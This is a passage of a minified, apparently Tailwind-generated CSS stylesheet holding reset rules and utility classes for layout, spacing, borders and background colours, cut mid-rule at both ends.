New",monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring{outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){-webkit-appearance:button;-moz-appearance:button;appearance:button}::file-selector-button{-webkit-appearance:button;-moz-appearance:button;appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.pointer-events-none{pointer-events:none}.collapse{visibility:collapse}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.not-sr-only{clip-path:none;white-space:normal;width:auto;height:auto;margin:0;padding:0;position:static;overflow:visible}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:calc(var(--spacing)*0)}.-top-2\.5{top:calc(var(--spacing)*-2.5)}.top-0{top:calc(var(--spacing)*0)}.top-1\/2{top:50%}.top-1\/4{top:25%}.top-4{top:calc(var(--spacing)*4)}.top-16{top:calc(var(--spacing)*16)}.top-\[50\%\]{top:50%}.top-full{top:100%}.right-0{right:calc(var(--spacing)*0)}.right-1{right:calc(var(--spacing)*1)}.right-1\/4{right:25%}.right-4{right:calc(var(--spacing)*4)}.bottom-1\/4{bottom:25%}.-left-2\.5{left:calc(var(--spacing)*-2.5)}.left-0{left:calc(var(--spacing)*0)}.left-1\/4{left:25%}.left-2{left:calc(var(--spacing)*2)}.left-3{left:calc(var(--spacing)*3)}.left-\[50\%\]{left:50%}.isolate{isolation:isolate}.isolation-auto{isolation:auto}.z-10{z-index:10}.z-50{z-index:50}.col-span-2{grid-column:span 2/span 2}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.-mx-2{margin-inline:calc(var(--spacing)*-2)}.-mx-8{margin-inline:calc(var(--spacing)*-8)}.mx-20{margin-inline:calc(var(--spacing)*20)}.mx-auto{margin-inline:auto}.-mt-6{margin-top:calc(var(--spacing)*-6)}.mt-0{margin-top:calc(var(--spacing)*0)}.mt-0\.5{margin-top:calc(var(--spacing)*.5)}.mt-1{margin-top:calc(var(--spacing)*1)}.mt-1\.5{margin-top:calc(var(--spacing)*1.5)}.mt-2{margin-top:calc(var(--spacing)*2)}.mt-3{margin-top:calc(var(--spacing)*3)}.mt-4{margin-top:calc(var(--spacing)*4)}.mt-6{margin-top:calc(var(--spacing)*6)}.mt-8{margin-top:calc(var(--spacing)*8)}.mr-1{margin-right:calc(var(--spacing)*1)}.mr-2{margin-right:calc(var(--spacing)*2)}.mr-3{margin-right:calc(var(--spacing)*3)}.mr-auto{margin-right:auto}.mb-1{margin-bottom:calc(var(--spacing)*1)}.mb-1\.5{margin-bottom:calc(var(--spacing)*1.5)}.mb-2{margin-bottom:calc(var(--spacing)*2)}.mb-3{margin-bottom:calc(var(--spacing)*3)}.mb-4{margin-bottom:calc(var(--spacing)*4)}.mb-5{margin-bottom:calc(var(--spacing)*5)}.mb-6{margin-bottom:calc(var(--spacing)*6)}.mb-8{margin-bottom:calc(var(--spacing)*8)}.ml-1{margin-left:calc(var(--spacing)*1)}.ml-2{margin-left:calc(var(--spacing)*2)}.ml-4{margin-left:calc(var(--spacing)*4)}.ml-6{margin-left:calc(var(--spacing)*6)}.ml-auto{margin-left:auto}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.line-clamp-3{-webkit-line-clamp:3;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.block{display:block}.contents{display:contents}.flex{display:flex}.flow-root{display:flow-root}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline\!{display:inline!important}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.inline-table{display:inline-table}.list-item{display:list-item}.table{display:table}.table\!{display:table!important}.table-caption{display:table-caption}.table-cell{display:table-cell}.table-column{display:table-column}.table-column-group{display:table-column-group}.table-footer-group{display:table-footer-group}.table-header-group{display:table-header-group}.table-row{display:table-row}.table-row-group{display:table-row-group}.size-4{width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.size-8{width:calc(var(--spacing)*8);height:calc(var(--spacing)*8)}.size-9{width:calc(var(--spacing)*9);height:calc(var(--spacing)*9)}.size-10{width:calc(var(--spacing)*10);height:calc(var(--spacing)*10)}.h-0\.5{height:calc(var(--spacing)*.5)}.h-1\.5{height:calc(var(--spacing)*1.5)}.h-2{height:calc(var(--spacing)*2)}.h-3{height:calc(var(--spacing)*3)}.h-3\.5{height:calc(var(--spacing)*3.5)}.h-4{height:calc(var(--spacing)*4)}.h-5{height:calc(var(--spacing)*5)}.h-6{height:calc(var(--spacing)*6)}.h-7{height:calc(var(--spacing)*7)}.h-8{height:calc(var(--spacing)*8)}.h-9{height:calc(var(--spacing)*9)}.h-10{height:calc(var(--spacing)*10)}.h-12{height:calc(var(--spacing)*12)}.h-16{height:calc(var(--spacing)*16)}.h-20{height:calc(var(--spacing)*20)}.h-24{height:calc(var(--spacing)*24)}.h-96{height:calc(var(--spacing)*96)}.h-\[75vh\]{height:75vh}.h-auto{height:auto}.h-full{height:100%}.h-screen{height:100vh}.max-h-48{max-height:calc(var(--spacing)*48)}.max-h-96{max-height:calc(var(--spacing)*96)}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-\[250px\]{max-height:250px}.max-h-\[300px\]{max-height:300px}.max-h-\[400px\]{max-height:400px}.max-h-none{max-height:none}.min-h-0{min-height:calc(var(--spacing)*0)}.min-h-8{min-height:calc(var(--spacing)*8)}.min-h-\[32px\]{min-height:32px}.min-h-\[40px\]{min-height:40px}.min-h-\[60vh\]{min-height:60vh}.min-h-\[72px\]{min-height:72px}.min-h-\[80px\]{min-height:80px}.min-h-\[100px\]{min-height:100px}.min-h-\[120px\]{min-height:120px}.min-h-\[260px\]{min-height:260px}.min-h-\[400px\]{min-height:400px}.min-h-full{min-height:100%}.min-h-screen{min-height:100vh}.w-0\.5{width:calc(var(--spacing)*.5)}.w-2{width:calc(var(--spacing)*2)}.w-3{width:calc(var(--spacing)*3)}.w-3\.5{width:calc(var(--spacing)*3.5)}.w-4{width:calc(var(--spacing)*4)}.w-5{width:calc(var(--spacing)*5)}.w-6{width:calc(var(--spacing)*6)}.w-7{width:calc(var(--spacing)*7)}.w-8{width:calc(var(--spacing)*8)}.w-9{width:calc(var(--spacing)*9)}.w-10{width:calc(var(--spacing)*10)}.w-12{width:calc(var(--spacing)*12)}.w-16{width:calc(var(--spacing)*16)}.w-20{width:calc(var(--spacing)*20)}.w-24{width:calc(var(--spacing)*24)}.w-28{width:calc(var(--spacing)*28)}.w-32{width:calc(var(--spacing)*32)}.w-36{width:calc(var(--spacing)*36)}.w-40{width:calc(var(--spacing)*40)}.w-44{width:calc(var(--spacing)*44)}.w-48{width:calc(var(--spacing)*48)}.w-52{width:calc(var(--spacing)*52)}.w-56{width:calc(var(--spacing)*56)}.w-64{width:calc(var(--spacing)*64)}.w-96{width:calc(var(--spacing)*96)}.w-\[280px\]{width:280px}.w-fit{width:fit-content}.w-full{width:100%}.w-screen{width:100vw}.max-w-2xl{max-width:var(--container-2xl)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-4xl{max-width:var(--container-4xl)}.max-w-\[96px\]{max-width:96px}.max-w-\[100px\]{max-width:100px}.max-w-\[120px\]{max-width:120px}.max-w-\[140px\]{max-width:140px}.max-w-\[180px\]{max-width:180px}.max-w-\[200px\]{max-width:200px}.max-w-\[250px\]{max-width:250px}.max-w-\[calc\(100\%-2rem\)\]{max-width:calc(100% - 2rem)}.max-w-lg{max-width:var(--container-lg)}.max-w-md{max-width:var(--container-md)}.max-w-none{max-width:none}.max-w-sm{max-width:var(--container-sm)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:calc(var(--spacing)*0)}.min-w-48{min-width:calc(var(--spacing)*48)}.min-w-\[8rem\]{min-width:8rem}.min-w-\[60px\]{min-width:60px}.min-w-\[120px\]{min-width:120px}.min-w-\[1024px\]{min-width:1024px}.flex-1{flex:1}.flex-shrink-0{flex-shrink:0}.shrink{flex-shrink:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.caption-bottom{caption-side:bottom}.border-collapse{border-collapse:collapse}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-0{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-1\/2{--tw-translate-x: 50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-y-0{--tw-translate-y:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-none{translate:none}.scale-3d{scale:var(--tw-scale-x)var(--tw-scale-y)var(--tw-scale-z)}.scale-\[0\.98\]{scale:.98}.transform{transform:var(--tw-rotate-x,)var(--tw-rotate-y,)var(--tw-rotate-z,)var(--tw-skew-x,)var(--tw-skew-y,)}.animate-spin{animation:var(--animate-spin)}.cursor-default{cursor:default}.cursor-grab{cursor:grab}.cursor-pointer{cursor:pointer}.touch-pinch-zoom{--tw-pinch-zoom:pinch-zoom;touch-action:var(--tw-pan-x,)var(--tw-pan-y,)var(--tw-pinch-zoom,)}.touch-none{touch-action:none}.resize{resize:both}.resize-none{resize:none}.resize-y{resize:vertical}.list-inside{list-style-position:inside}.list-decimal{list-style-type:decimal}.list-disc{list-style-type:disc}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-\[40px_40px_1fr_80px_80px_80px_60px\]{grid-template-columns:40px 40px 1fr 80px 80px 80px 60px}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-end{justify-content:flex-end}.gap-0{gap:calc(var(--spacing)*0)}.gap-0\.5{gap:calc(var(--spacing)*.5)}.gap-1{gap:calc(var(--spacing)*1)}.gap-1\.5{gap:calc(var(--spacing)*1.5)}.gap-2{gap:calc(var(--spacing)*2)}.gap-3{gap:calc(var(--spacing)*3)}.gap-4{gap:calc(var(--spacing)*4)}.gap-5{gap:calc(var(--spacing)*5)}.gap-6{gap:calc(var(--spacing)*6)}.gap-8{gap:calc(var(--spacing)*8)}:where(.space-y-0>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*0)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*0)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1\.5>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1.5)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1.5)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-2>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*2)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*2)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-3>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*3)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*3)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-4>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*4)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*4)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-6>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*6)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*6)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-8>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*8)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*8)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-reverse>:not(:last-child)){--tw-space-y-reverse:1}.gap-x-8{column-gap:calc(var(--spacing)*8)}:where(.space-x-reverse>:not(:last-child)){--tw-space-x-reverse:1}.gap-y-4{row-gap:calc(var(--spacing)*4)}:where(.divide-x>:not(:last-child)){--tw-divide-x-reverse:0;border-inline-style:var(--tw-border-style);border-inline-start-width:calc(1px*var(--tw-divide-x-reverse));border-inline-end-width:calc(1px*calc(1 - var(--tw-divide-x-reverse)))}:where(.divide-y>:not(:last-child)){--tw-divide-y-reverse:0;border-bottom-style:var(--tw-border-style);border-top-style:var(--tw-border-style);border-top-width:calc(1px*var(--tw-divide-y-reverse));border-bottom-width:calc(1px*calc(1 - var(--tw-divide-y-reverse)))}:where(.divide-y-reverse>:not(:last-child)){--tw-divide-y-reverse:1}:where(.divide-gray-700\/50>:not(:last-child)){border-color:#36415380}@supports (color:color-mix(in lab,red,red)){:where(.divide-gray-700\/50>:not(:last-child)){border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}:where(.divide-white\/5>:not(:last-child)){border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){:where(.divide-white\/5>:not(:last-child)){border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.rounded{border-radius:.25rem}.rounded-2xl{border-radius:var(--radius-2xl)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius-lg)}.rounded-md{border-radius:var(--radius-md)}.rounded-none{border-radius:0}.rounded-sm{border-radius:var(--radius-sm)}.rounded-xl{border-radius:var(--radius-xl)}.rounded-s{border-start-start-radius:.25rem;border-end-start-radius:.25rem}.rounded-ss{border-start-start-radius:.25rem}.rounded-e{border-start-end-radius:.25rem;border-end-end-radius:.25rem}.rounded-se{border-start-end-radius:.25rem}.rounded-ee{border-end-end-radius:.25rem}.rounded-es{border-end-start-radius:.25rem}.rounded-t{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.rounded-l{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-tl{border-top-left-radius:.25rem}.rounded-r{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.rounded-r-md{border-top-right-radius:var(--radius-md);border-bottom-right-radius:var(--radius-md)}.rounded-tr{border-top-right-radius:.25rem}.rounded-b{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-br{border-bottom-right-radius:.25rem}.rounded-bl{border-bottom-left-radius:.25rem}.border{border-style:var(--tw-border-style);border-width:1px}.border-0{border-style:var(--tw-border-style);border-width:0}.border-2{border-style:var(--tw-border-style);border-width:2px}.border-x{border-inline-style:var(--tw-border-style);border-inline-width:1px}.border-y{border-block-style:var(--tw-border-style);border-block-width:1px}.border-s{border-inline-start-style:var(--tw-border-style);border-inline-start-width:1px}.border-e{border-inline-end-style:var(--tw-border-style);border-inline-end-width:1px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-r{border-right-style:var(--tw-border-style);border-right-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dashed{--tw-border-style:dashed;border-style:dashed}.border-\[\#07C160\]{border-color:#07c160}.border-\[\#07C160\]\/20{border-color:#07c16033}.border-\[\#07C160\]\/30{border-color:#07c1604d}.border-\[\#38bdac\]{border-color:#38bdac}.border-\[\#38bdac\]\/20{border-color:#38bdac33}.border-\[\#38bdac\]\/30{border-color:#38bdac4d}.border-\[\#38bdac\]\/40{border-color:#38bdac66}.border-\[\#38bdac\]\/50{border-color:#38bdac80}.border-amber-400\/60{border-color:#fcbb0099}@supports (color:color-mix(in lab,red,red)){.border-amber-400\/60{border-color:color-mix(in oklab,var(--color-amber-400)60%,transparent)}}.border-amber-500\/20{border-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/20{border-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.border-amber-500\/30{border-color:#f99c004d}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/30{border-color:color-mix(in oklab,var(--color-amber-500)30%,transparent)}}.border-amber-500\/40{border-color:#f99c0066}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/40{border-color:color-mix(in oklab,var(--color-amber-500)40%,transparent)}}.border-amber-500\/50{border-color:#f99c0080}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/50{border-color:color-mix(in oklab,var(--color-amber-500)50%,transparent)}}.border-blue-500\/30{border-color:#3080ff4d}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/30{border-color:color-mix(in oklab,var(--color-blue-500)30%,transparent)}}.border-blue-500\/40{border-color:#3080ff66}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/40{border-color:color-mix(in oklab,var(--color-blue-500)40%,transparent)}}.border-blue-500\/50{border-color:#3080ff80}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/50{border-color:color-mix(in oklab,var(--color-blue-500)50%,transparent)}}.border-cyan-500\/30{border-color:#00b7d74d}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/30{border-color:color-mix(in oklab,var(--color-cyan-500)30%,transparent)}}.border-cyan-500\/40{border-color:#00b7d766}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/40{border-color:color-mix(in oklab,var(--color-cyan-500)40%,transparent)}}.border-gray-500{border-color:var(--color-gray-500)}.border-gray-600{border-color:var(--color-gray-600)}.border-gray-700{border-color:var(--color-gray-700)}.border-gray-700\/30{border-color:#3641534d}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/30{border-color:color-mix(in oklab,var(--color-gray-700)30%,transparent)}}.border-gray-700\/40{border-color:#36415366}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/40{border-color:color-mix(in oklab,var(--color-gray-700)40%,transparent)}}.border-gray-700\/50{border-color:#36415380}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/50{border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.border-gray-700\/60{border-color:#36415399}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/60{border-color:color-mix(in oklab,var(--color-gray-700)60%,transparent)}}.border-green-500\/30{border-color:#00c7584d}@supports (color:color-mix(in lab,red,red)){.border-green-500\/30{border-color:color-mix(in oklab,var(--color-green-500)30%,transparent)}}.border-green-500\/40{border-color:#00c75866}@supports (color:color-mix(in lab,red,red)){.border-green-500\/40{border-color:color-mix(in oklab,var(--color-green-500)40%,transparent)}}.border-inherit{border-color:inherit}.border-orange-500\/20{border-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/20{border-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.border-orange-500\/30{border-color:#fe6e004d}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/30{border-color:color-mix(in oklab,var(--color-orange-500)30%,transparent)}}.border-orange-500\/40{border-color:#fe6e0066}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/40{border-color:color-mix(in oklab,var(--color-orange-500)40%,transparent)}}.border-orange-500\/50{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/50{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.border-purple-500\/20{border-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/20{border-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.border-purple-500\/30{border-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/30{border-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.border-purple-500\/40{border-color:#ac4bff66}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/40{border-color:color-mix(in oklab,var(--color-purple-500)40%,transparent)}}.border-red-500{border-color:var(--color-red-500)}.border-red-500\/20{border-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.border-red-500\/20{border-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.border-red-500\/30{border-color:#fb2c364d}@supports (color:color-mix(in lab,red,red)){.border-red-500\/30{border-color:color-mix(in oklab,var(--color-red-500)30%,transparent)}}.border-red-500\/50{border-color:#fb2c3680}@supports (color:color-mix(in lab,red,red)){.border-red-500\/50{border-color:color-mix(in oklab,var(--color-red-500)50%,transparent)}}.border-red-600\/50{border-color:#e4001480}@supports (color:color-mix(in lab,red,red)){.border-red-600\/50{border-color:color-mix(in oklab,var(--color-red-600)50%,transparent)}}.border-transparent{border-color:#0000}.border-white\/5{border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.border-white\/5{border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.border-white\/10{border-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.border-white\/10{border-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.border-white\/20{border-color:#fff3}@supports (color:color-mix(in lab,red,red)){.border-white\/20{border-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.border-yellow-500\/30{border-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/30{border-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.border-yellow-500\/40{border-color:#edb20066}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/40{border-color:color-mix(in oklab,var(--color-yellow-500)40%,transparent)}}.bg-\[\#0a1628\]{background-color:#0a1628}.bg-\[\#0a1628\]\/50{background-color:#0a162880}.bg-\[\#0a1628\]\/60{background-color:#0a162899}.bg-\[\#0b1828\]{background-color:#0b1828}.bg-\[\#0f2137\]{background-color:#0f2137}.bg-\[\#00CED1\]{background-color:#00ced1}.bg-\[\#1C1C1E\]{background-color:#1c1c1e}.bg-\[\#07C160\]{background-color:#07c160}.bg-\[\#07C160\]\/5{background-color:#07c1600d}.bg-\[\#07C160\]\/10{background-color:#07c1601a}.bg-\[\#38bdac\]{background-color:#38bdac}.bg-\[\#38bdac\]\/5{background-color:#38bdac0d}.bg-\[\#38bdac\]\/10{background-color:#38bdac1a}.bg-\[\#38bdac\]\/15{background-color:#38bdac26}.bg-\[\#38bdac\]\/20{background-color:#38bdac33}.bg-\[\#38bdac\]\/30{background-color:#38bdac4d}.bg-\[\#38bdac\]\/60{background-color:#38bdac99}.bg-\[\#38bdac\]\/80{background-color:#38bdaccc}.bg-\[\#050c18\]{background-color:#050c18}.bg-\[\#162840\]{background-color:#162840}.bg-amber-500{background-color:var(--color-amber-500)}.bg-amber-500\/5{background-color:#f99c000d}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/5{background-color:color-mix(in oklab,var(--color-amber-500)5%,transparent)}}.bg-amber-500\/10{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/10{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.bg-amber-500\/20{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/20{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.bg-black{background-color:var(--color-black)}.bg-black\/30{background-color:#0000004d}@supports (color:color-mix(in lab,red,red)){.bg-black\/30{background-color:color-mix(in oklab,var(--color-black)30%,transparent)}}.bg-black\/50{background-color:#00000080}@supports (color:color-mix(in lab,red,red)){.bg-black\/50{background-color:color-mix(in oklab,var(--color-black)50%,transparent)}}.bg-black\/60{background-color:#0009}@supports (color:color-mix(in lab,red,red)){.bg-black\/60{background-color:color-mix(in oklab,var(--color-black)60%,transparent)}}.bg-black\/90{background-color:#000000e6}@supports (color:color-mix(in lab,red,red)){.bg-black\/90{background-color:color-mix(in oklab,var(--color-black)90%,transparent)}}.bg-blue-500\/5{background-color:#3080ff0d}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/5{background-color:color-mix(in oklab,var(--color-blue-500)5%,transparent)}}.bg-blue-500\/10{background-color:#3080ff1a}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/10{background-color:color-mix(in oklab,var(--color-blue-500)10%,transparent)}}.bg-blue-500\/20{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/20{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.bg-cyan-500{background-color:var(--color-cyan-500)}.bg-cyan-500\/20{background-color:#00b7d733}@supports (color:color-mix(in lab,red,red)){.bg-cyan-500\/20{background-color:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.bg-emerald-500\/20{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.bg-emerald-500\/20{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.bg-gray-500{background-color:var(--color-gray-500)}.bg-gray-500\/20{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.bg-gray-500\/20{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.bg-gray-600{background-color:var(--color-gray-600)}.bg-gray-600\/20{background-color:#4a556533}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/20{background-color:color-mix(in oklab,var(--color-gray-600)20%,transparent)}}.bg-gray-600\/50{background-color:#4a556580}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/50{background-color:color-mix(in oklab,var(--color-gray-600)50%,transparent)}}.bg-gray-700{background-color:var(--color-gray-700)}.bg-gray-700\/50{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.bg-gray-700\/50{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.bg-green-500{background-color:var(--color-green-500)}.bg-green-500\/20{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.bg-green-500\/20{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.bg-green-600{background-color:var(--color-green-600)}.bg-orange-500{background-color:var(--color-orange-500)}.bg-orange-500\/10{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/10{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.bg-orange-500\/20{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/20{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.bg-purple-500\/20{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.bg-purple-500\/20{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.bg-red-500\/10{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/10{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.bg-red-500\/20{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/20{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.bg-red-600{background-color:var(--color-red-600)}.bg-red-900\/80{background-color:#82181acc}@supports (color:color-mix(in lab,red,red)){.bg-red-900\/80{background-color:color-mix(in 